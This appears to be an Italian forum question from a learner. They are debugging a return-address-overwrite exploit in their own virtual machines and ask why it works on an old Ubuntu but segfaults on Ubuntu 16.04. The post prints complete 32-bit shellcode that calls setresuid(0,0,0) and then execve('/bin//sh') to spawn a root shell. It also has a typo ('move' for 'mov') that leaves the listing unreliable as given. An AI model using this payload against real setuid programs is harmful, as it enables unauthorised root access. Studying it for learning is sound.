Ho dovuto testare del codice, per imparare.
Ho provato a utilizzare un codice di esempio in Assembly 32 bit, che ho compilato. E l'ho esportato in una variabile di ambiente. Poi ho ottenuto l'indirizzo esadecimale della variabile del codice shell per il programma bash che volevo eseguire con. L'indirizzo esadecimale dovrebbe sovrascrivere l'indirizzo di ritorno del programma. Su Ubuntu 16.04 a 64 bit ho ricevuto l'indirizzo esadecimale a 48 bit invece di 32 bit. Io uso due Ubuntu 16.04 (32 bit / 64 bit) e una vecchia Ubuntu (32 bit), tutte macchine virtuali. Senza il codice shell, il programma funziona normalmente su tutti questi sistemi operativi.
Quando eseguo il programma con il codice shell, il programma si ferma con un errore di segmentazione.
La mia domanda è: perché funziona bene su una vecchia Ubuntu (32 bit) e non su una Ubuntu 16.04 (32 bit / 64 bit)?
BITS 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; delete EAX
xor ebx, ebx ; delete EBX
xor ecx, ecx ; delete ECX
xor edx, edx ; delete EDX
mov al, 0xa4 ; 164 (0xa4) for system call 164
int 0x80 ; setresuid(0,0,0): reset root permission
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; delete again EAX
mov al, 11 ; system call 11
push ecx ; some 0's as string terminator on the stack
push 0x68732f2f ; "//sh" on the stack
push 0x6e69622f ; "/bin" on the stack
mov ebx, esp ; copy address of "/bin//sh" from ESP to EBX
push ecx ; 32bit-null-terminator on the stack
mov edx, esp ; empty array for envp
push ebx ; String address over the null-terminator to stack
move ecx, esp ; argv-array with string pointer
int 0x80 ; execve("/bin//sh", ["/bin//sh" NULL], [NULL])